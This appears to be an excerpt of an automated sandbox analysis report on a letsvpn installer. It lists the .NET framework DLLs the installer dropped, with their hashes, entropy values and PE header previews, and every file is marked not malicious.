                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............(... ...@....... ..............................._....@..................................(..O....@...................+...`......L'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P ..|....................&......................................BSJB............v4.0.30319......l.......#~......P...#Strings....D.......#US.H.......#GUID...X...$...#Blob......................3......................................z...........!...\.!...0.....A.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.,...C.G...K.g...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Tools.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.9059125920410835
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:MAlcWHaWvKpwKANynsAw/98E9VF3AM+oj35hp:l9jAw/KENAMxVf
                                                                                            MD5:361D41D8F1F07906BDE089C94843158D
                                                                                            SHA1:A17D4F88FFFE696562FD32C0C3943991EE1576E4
                                                                                            SHA-256:BEF84DD0B858D01B7C898123D317C29C0C0CA3478DB4BD6730FB7ADA669BEC30
                                                                                            SHA-512:C379B389A4EF2B247D3C02F570A9F588696785EC192458033D7BC0F77895BD4110F6C73ECAF3E77A598F96B1B6D7A6D455F38EEF9D9DDF534F937741D9A34E3E
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............(... ...@....... ....................................@..................................(..O....@.. ................+...`......d'............................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......|...#Strings....p.......#US.t.......#GUID...........#Blob......................3............................................................`.....1.....t.................s.....).....B.................].........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.5...K.U...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.TraceSource.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16872
                                                                                            Entropy (8bit):6.838816731651097
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:mTIZnWlNWezpwKANynsAw/98E9VF3AM+oFZl2Gz:GUyYAw/KENAMxJz
                                                                                            MD5:4550792542C63094619622171E3C054D
                                                                                            SHA1:C7975AE3610B6C59C20AA7ED72CBA791899672E7
                                                                                            SHA-256:2777056938AE552F488FADB053462C184B3E6D4B29FEFD1EE58A518ED1E9F7BB
                                                                                            SHA-512:8DA3DDA43A5D2C3D33E2467CAE18C3BD6D86A1547CB2F026EF543A6520550442F34FF7794F76E6A942ADAE8F3FB7F2C17CEFA81C52361D30CE129E9F93D70940
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0.............2*... ...@....... ...............................a....@..................................)..O....@..P................+...`.......(............................................... ............... ..H............text...8.... ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................*......H.......P ......................((......................................BSJB............v4.0.30319......l...\...#~..........#Strings............#US.........#GUID...........#Blob......................3............................................................t...................................=.....V.................q.....Z...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;. ...C.;...K.[...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Tracing.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):26600
                                                                                            Entropy (8bit):6.549745891932712
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:0lQnCMi33333333kj8xe+5PTYM3zUy+CezHjzgKj0uRWOdWmWJdWwApwKANynsAs:yQq33333333kX+TBi8FAw/KENAMx3
                                                                                            MD5:5034E9355F31E37FAFD1C61CA444683E
                                                                                            SHA1:A57102C41A2E6E8A9C0F264CDC901DFE5418384B
                                                                                            SHA-256:F1042347072E49C6A00F8F24ABE38EA0C557DECC135B6F2DB48C627CF178A746
                                                                                            SHA-512:293D58075357259794D053DF2F01C39FF9CA6D05EFF5E05DD3C224547FA603E8D40E9E1D7A366711DDB2185007514FBE660B904623F8B86A227B194B9A2F922D
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0.............RM... ...`....... ....................................@..................................L..O....`..x............<...+..........PL............................................... ............... ..H............text...X-... ...................... ..`.rsrc...x....`.......0..............@..@.reloc...............:..............@..B................3M......H.......8*...!...................K.......................................0..H........(.....-.r...ps....z.-.r...ps....z.(......}......(#...}.....{.....o....*"..(....*....0..Z.............%.r#..p.%..{.....%.rA..p.%..{..........%.rS..p.%..{....l.{....l[...ra..p(.....(....*&...{....*.0..4.................}......+....{.....".......X.....{.....i2.*.0..k..........{........{..........."....(.......X....{.....i.0%.(..........(.....(.......,..(........"....3.....}....*.......=..M......

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Drawing.Common.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):55272
                                                                                            Entropy (8bit):5.900626916792861
                                                                                            Encrypted:false
                                                                                            SSDEEP:1536:8JbgUxvrIn01EkO/69KzwmOiGeCcSP8UIrDAwrxe:81xvrInsEkO/AKzwm3C0UODhg
                                                                                            MD5:689032F264346A94F2EFE676D797FB88
                                                                                            SHA1:EAE2E0F39A499089EF3827EA1598D50898DC792A
                                                                                            SHA-256:C2D38D015AA22D59F2159408075883CAC1B902BC4EECE170A12095FA983FF116
                                                                                            SHA-512:32093F3F96E3AD62F444EFD1068C6AFB3C9E8953186B8A3D89C6F10B6613973BC4212A9B956753DF25D83128FEB58931F5F9F125483A105D621996F2C305EE1D
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0.............n.... ........... ..............................?,....`.....................................O........................+..........8...T............................................ ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................O.......H........)...\...............6...........................................~....*..0..........(....,..*..(.....o.......&...*...................0...........(.......(....-..,..*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*..,&(....,..r...pr...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*...(....*.(....,.r...p......%...%...%...(....*....(....*.(....,"r...p......%...%...%...%..

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Drawing.Primitives.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.905329079129804
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:/28YFlXulWY/W3ypwKANynsAw/98E9VF3AM+ohHpSmd5kt:/0qqAw/KENAMxhJSmot
                                                                                            MD5:A8634436A0BC5D272D023ACE72EF6959
                                                                                            SHA1:9F1B7980EC924D0616D59AD28CDFCC1C1A839C1F
                                                                                            SHA-256:F635D498E723FB968A7EAA95E5564CC9A77A77046071EED4C0C7C69036B56451
                                                                                            SHA-512:1EE356541F1AE8DC43E5CAA72377E2DC050C9B29545B7B36EC2143B44DBF7824359650A64DCE4FB21A1F299BD657E3F9F1828BFDB6A7183DD0077E1810583A72
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............(... ...@....... ...................................@..................................(..O....@.. ................+...`......t'............................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~..,...P...#Strings....|.......#US.........#GUID...........#Blob......................3......................................................~.....R..... .....f.................e...........4.....}...........O.....8...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.6...K.V...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Dynamic.Runtime.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):17384
                                                                                            Entropy (8bit):6.79150562858462
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:2uMLcdQ5MW9MWtNpwKANynsAw/98E9VF3AM+ojzVHu:LOcSpgAw/KENAMxQ
                                                                                            MD5:E06B61339229A0A9308D6CDA9122380B
                                                                                            SHA1:81CC02F1B090C3C137813F10D33C59101117F19C
                                                                                            SHA-256:D74F95419BDA91BCC54428BEA8ED6F2A3B41A2F3F3F273E48A29F92669A59231
                                                                                            SHA-512:1100C5D29EF8688DED4F26AA26A3C18E425C0039E3286E148BED2867314105E40081CC9F847605F98E1C593DADAA200320817A358CDA6EA5433CE35F543034A6
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............,... ...@....... ....................................@..................................+..O....@...................+...`.......*............................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................,......H.......P .......................*......................................BSJB............v4.0.30319......l.......#~..p...0...#Strings............#US.........#GUID...........#Blob......................3................................................;.........................$.....$.....$.....$...[.$...t.$.....$.....$.........g.$.....#...........e.....e.....e...).e...1.e...9.e...A.e...I.e...Q.e...Y.e...a.e...i.e...q.e.......................#.....+.....3.....;.....C.3...K.S...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Globalization.Calendars.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16872
                                                                                            Entropy (8bit):6.866265875014329
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:vZ7RqXWDRqlRqj0RqFWzapwKANynsAw/98E9VF3AM+o86luOy/3e:x9qKqjqjuq0Aw/KENAMxqe
                                                                                            MD5:552E2E95235E7AEA3AB4D5106B66CC8F
                                                                                            SHA1:52749321CA826CE32F892D2FACF053445E8DF58B
                                                                                            SHA-256:CB7737E253D6D9182DF83B54DDD98034E4652A691B0DC0FCFA3971F5ACE00833
                                                                                            SHA-512:C5BC008D5621FAB4226D6BB9E066E8C9E63F200E034C716D785C2495F48A8F4DBA6FD369AB5E3D34C78F8F50E22B3FF249C4D5095FC5EDE53C150DB66E1787C7
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............*... ...@....... ....................................@.................................X*..O....@..P................+...`...... )............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................*......H.......P ..P....................(......................................BSJB............v4.0.30319......l...L...#~......l...#Strings....$.......#US.(.......#GUID...8.......#Blob......................3......................................z...............\.....0.....%.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;. ...C.;...K.[...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Globalization.Extensions.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):20968
                                                                                            Entropy (8bit):6.684112746735289
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:PNBMbljRC+lgfS1RPWYR1Rw0R9WYRPWYRDRj0R9WW0pwKANynsAw/98E9VF3AM+P:PvMhF2SzNzwu/NljuHAw/KENAMxSN
                                                                                            MD5:4CA24D89C5A6DC157E0A3F5FE569DC3F
                                                                                            SHA1:352D52544989632075AD6979EF6FC4DC21D6AE8A
                                                                                            SHA-256:ADE7F4A02B90EC046B8E28837D28CED17C38E4FAACD451833F4E4FD8CC14850A
                                                                                            SHA-512:E56F29322BFF81F832E04C025CAC53220F007F4E831ADFAFECCD222971B18B6C383837F49F47A4F195BB9F34F0E3AC33CD6F7D66E06D7FDA3C1686A1B84A1705
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..............6... ...@....... ...............................0....@.................................a6..O....@...............&...+...`.......5............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`.......$..............@..B.................6......H........"..H............4......(5........................................o....*"..o....*..o....*"..o....*j~....%-.&(....s....%.....*..*.0..$.........(.....o.......&...,....o....,..*.*..................,!(....,..r...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*2r...p.(....*......(....*...0..K........-.r1..ps....z. ...@3.(....*. ....3.(....*. ...._,.(....rI..ps..

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Globalization.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.9524284524501185
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:TZ4RLWdRfRJ0RZWuTpwKANynsAw/98E9VF3AM+oTEeygsJ:TZK0pJucAw/KENAMxAVg6
                                                                                            MD5:3A50AAF4EC343B88ACC10F59C187E16F
                                                                                            SHA1:BF6EE730359B2ED2DC0B24FAED1DCCC07982053F
                                                                                            SHA-256:D08709FFF794C82D6142F7BE64DAA96EB190244BB1816222167FF3FDFA7439C0
                                                                                            SHA-512:EFB911533062B823C56FB4C1D6DF8E02006399904C96540905D8010903ADCF6A6B214D0E4A3F98E71B5CCFDBF1EF2BD1CFBBF965E267B6BB9DAA0BCC3F785F20
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............)... ...@....... ..............................h.....@..................................)..O....@...................+...`......h(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H.......P .......................'......................................BSJB............v4.0.30319......l...0...#~..........#Strings....x.......#US.|.......#GUID...........#Blob......................3......................................................m.....A.{.........U.................T...........#.....l...........>.....'...................u.....u.....u...).u...1.u...9.u...A.u...I.u...Q.u...Y.u...a.u...i.u...q.u.......................#.....+.....3.....;.....C.1...K.Q...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Compression.ZipFile.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.853001096633939
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:kYWsmW9VpwKANynsAw/98E9VF3AM+o2DJKrP:k26Aw/KENAMxiyP
                                                                                            MD5:00BC2B6B3B4DC2C838C6044165B2BCA1
                                                                                            SHA1:194B35894C238E9C07F03381D95A83EB41370DF0
                                                                                            SHA-256:AD0B8F872A39661BEA96D21951B42F732BA1C666AB14C246271D734B0F9900B4
                                                                                            SHA-512:DD4221AB70A39477D474A8780E6BEF36FCAC1C1A7CE275CDD4171B2E00044B2D78333419626E0D99A7F3AB1DF9EB8A9E2E24BB40B3E3494F4D568077D0C24082
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0.............*(... ...@....... ....................................@..................................'..O....@..@................+...`.......&............................................... ............... ..H............text...0.... ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.................(......H.......P ...................... &......................................BSJB............v4.0.30319......l.......#~......D...#Strings....8.......#US.<.......#GUID...L.......#Blob......................3......................................................z.....N.....".....b.................a...........0.....y...........K.....4...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........:.....C.....b...#.k...+.k...3.k...;.....C.....K.....S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Compression.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):105960
                                                                                            Entropy (8bit):6.3980318072931635
                                                                                            Encrypted:false
                                                                                            SSDEEP:1536:Avc/U5yNq2oS4Zd0LE3YigSFvhoZO2K3aAYH2TfXmNoJXUAwrx7:Igk1tiLMYiDFvxqrWDWNoJXUht
                                                                                            MD5:7247035215659F364A9E1B0DA48F026E
                                                                                            SHA1:D44B54FC1536C5BA97704F2C96AA41AFA068F22F
                                                                                            SHA-256:323A5C9BB09F13197CFD1D70B8889D7BA177708665A6649D78E667F03BA1D6AB
                                                                                            SHA-512:1BFAB9A14DFF325E9D2C17EE49805A12FBAA68E1B4EA84618A24574D37551865F701974D20DF693C9692D3F650DB072BE72A5C72A1A2D95A84CFE06E7F9FC24F
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..d...........W... ........... ..............................%S....@.................................5W..O....................r...+...........V............................................... ............... ..H............text....b... ...d.................. ..`.rsrc................f..............@..@.reloc...............p..............@..B................iW......H........................9.......V......................................j~....%-.&(I...s....%.....*..*...0..$.........(.....o.......&...,....o....,..*.*..................,!(....,..r...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*2r...p.(....*2r7..p.(....*2rs..p.(....*2r...p.(....*2r...p.(....*2r...p.(....*2r=..p.(....*2r_..p.(....*2r...p.(....*2r...p.(....*2r...

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.AccessControl.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):30696
                                                                                            Entropy (8bit):6.437349251984308
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:8mjoB5y+MLi9VYp/OiRc715ZkSAcE1l2Yd5zqNz8TWgVbW0YpwKANynsAw/98E9p:DCN9VYp/OiRcnZIfk8PLAw/KENAMx84V
                                                                                            MD5:50B1CBCFE5A7BCD2432873CB68256840
                                                                                            SHA1:B3351E416FE20887790EFF62EB1D7BA12C88A0B4
                                                                                            SHA-256:178D18A1581ED4210B4371F43E72474856E783B9474B9E10A0CFA1B0BCE1D2AC
                                                                                            SHA-512:6A23D4252D5676EA5049AC69C29272C13BEEB2A6B84533FC8C3555F9F67D6E81C841074EFA708A44BAEDC1395A5244BC2AD9ED63A9580939A840F35044AC44BF
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...._............" ..0..B...........`... ........... ..............................Z.....`.................................t`..O....................L...+..........l_..T............................................ ............... ..H............text....@... ...B.................. ..`.rsrc................D..............@..@.reloc...............J..............@..B.................`......H........&..t)...........P.......^........................................(....*^.(.......(...%...}....*:.(......}....*:.(......}....*:.(......}....*.~....*.0..1.......(....,..%-.&.*..(.....o.......&...,...o....,..*.*....................(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*..,&(....,..r...pr...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*...(....*.(....,.r...p......%

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.DriveInfo.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.9120192483587095
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:5Kcuz1W1cWkVpwKANynsAw/98E9VF3AM+oVHKB:ju8BAw/KENAMxi
                                                                                            MD5:4C1252D60E69975F134749D98AAE7BF1
                                                                                            SHA1:301AF29754DB69E9C6B9A1F51EF5596C289C81FC
                                                                                            SHA-256:C9DA462E07CAA610D558B5409A76E283232453E20775010297704B7FD165CC8F
                                                                                            SHA-512:F67BFDF65FB9DFE1834FE728DEB38B996AA11F29FAA41BB9522E0230B5A297A7D7F23F8EAE9C3FD4DCCB4864D5669CB3B09ED674AF92A8B3A066B7D1E1FBE520
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............(... ...@....... ...................................@..................................(..O....@..P................+...`......H'............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................(......H.......P ..x....................&......................................BSJB............v4.0.30319......l.......#~......H...#Strings....L.......#US.P.......#GUID...`.......#Blob......................3......................................................p.....D.....9.....X.................W...........&.....o...........A.....*...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;. ...C.;...K.[...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.Primitives.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.915701572831014
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:h+SWikWRLpwKANynsAw/98E9VF3AM+oVfWYf2Zi:h+eSAw/KENAMxo0ii
                                                                                            MD5:768E795DCBA5ECB7C19405C2D0B76192
                                                                                            SHA1:4BCBB19307AB780BB88368E5C2518E82813D728F
                                                                                            SHA-256:03C7419B86A770DCFB6A498C082E2EAFF774914443F3E234030EA697969D393E
                                                                                            SHA-512:658BCAEA968FAAA22DA1BBEFEA4D584A10B021DAE6FBBD86CA9ACA236CB114F9E359E2062248DABB74FE48EFDE5211B738539884FD3582696D06A55A8019DCB9
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............(... ...@....... ..............................e.....@..................................(..O....@..P................+...`......d'............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......X...#Strings....h.......#US.l.......#GUID...|.......#Blob......................3......................................................y.....M...........a.................`.........../.....x...........J.....3...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.!...C.<...K.\...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.Watcher.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.95803756202855
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:mAWzgWrnvpwKANynsAw/98E9VF3AM+omHs2Tojo:mtkAw/KENAMxW1t
                                                                                            MD5:43FDDAE5615134C7C7CFF1ED626BE3D1
                                                                                            SHA1:AAC4C804F1163324A4FF971467E5F3C06474DC07
                                                                                            SHA-256:0959B36DACC9C10C8A0E1F56D6CA71D157798D3D35F03EFE271681C655CA9F9A
                                                                                            SHA-512:7442210B136734C77809BD4C1FEA00A2C0FE47803AB797C4C6C146BAEDECF6267A1FC6140BE7A8E97274D5378BCCB490FB39C6E026DD3FA44FBB81E6DF690798
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............)... ...@....... ....................................@.................................p)..O....@..@................+...`......8(............................................... ............... ..H............text........ ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.................)......H.......P ..h....................'......................................BSJB............v4.0.30319......l.......#~..d.......#Strings....@.......#US.D.......#GUID...T.......#Blob......................3..................................................C...f.C...:.0...c.....N.................M.................e...........7..... ...................*.....*.....*...).*...1.*...9.*...A.*...I.*...Q.*...Y.*...a.*...i.*...q.*.......................#.....+.....3.....;.....C.9...K.Y...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.916341452717303
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:SBLRWbYW+EpwKANynsAw/98E9VF3AM+oYH+eldn:SB26Aw/KENAMxYdn
                                                                                            MD5:5C690CE5296DF97EC7DDA8C31813D4C6
                                                                                            SHA1:0B6AED473753A8102CFFFAE521C2868784104A8D
                                                                                            SHA-256:B3A4497DE0831383956484815185AE3A3500A04024988D3C369036CC685C1992
                                                                                            SHA-512:FC17E215B9315D76DCB809EA6F84643001DE2488ABE1FA2B6E70C6CE8C0BF575E58ADF0334FC10968529924C8FE46D4BB3D2450E5A674958AECC8207BA0E53A9
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0.............b)... ...@....... ..............................@.....@..................................)..O....@...................+...`.......'............................................... ............... ..H............text...h.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................D)......H.......P ......................X'......................................BSJB............v4.0.30319......l.......#~..X.......#Strings............#US.........#GUID...........#Blob......................3................................................../...z./...N.....O.....b.................a...........0.....y...........K.....4...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.1...K.Q...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.IsolatedStorage.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.907423713499948
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:aHW4/WU4EpwKANynsAw/98E9VF3AM+om7CAyyhlnRy:ari5Aw/KENAMxKCXyhlnRy
                                                                                            MD5:6619081571A33A10323FFCB6F62F97AF
                                                                                            SHA1:446B905A6231EE7068C5A469407D024BD72C4E18
                                                                                            SHA-256:335EB2A8D88AAC31BC001FBB494C20E6A1EF64B8A3AE6977E6FFDCC98FB7A172
                                                                                            SHA-512:FE7500D63F5F4DDB6E1E14751F526833D03019C0E7357741B926A20D6E880B94A989B83DFC074DA3BCF91B67D693546773D67F92E62B9541901E0C719186AD6A
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ....................................@..................................(..O....@.. ................+...`......X'............................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......\...#Strings....`.......#US.d.......#GUID...t.......#Blob......................3..................................................+.....+...^.....K.....r.................q.....'.....@.................[.....D...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.6...K.V...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.MemoryMappedFiles.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.960962234154388
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:5vk7hWmCWT6pwKANynsAw/98E9VF3AM+oPy877:5s7/nAw/KENAMxx
                                                                                            MD5:F1E0BCB969F660A0694A631700C1C74C
                                                                                            SHA1:6DDF8D3FF19D3EDFFB69B45B2EF4FEFACBAE7785
                                                                                            SHA-256:0D5C7570AB3351291F3E89FD7FF2FF920B8A0BF5056D9EBC347771A012BABA75
                                                                                            SHA-512:DBDC45285556BFD0F886C8A796E759600B65922544317FA273B07DDF29CAA3DCBA4BB511973ED6AA524AC56F302905500F52329D98289B1301B375CB89CEA26F
                                                                                            Malicious:false
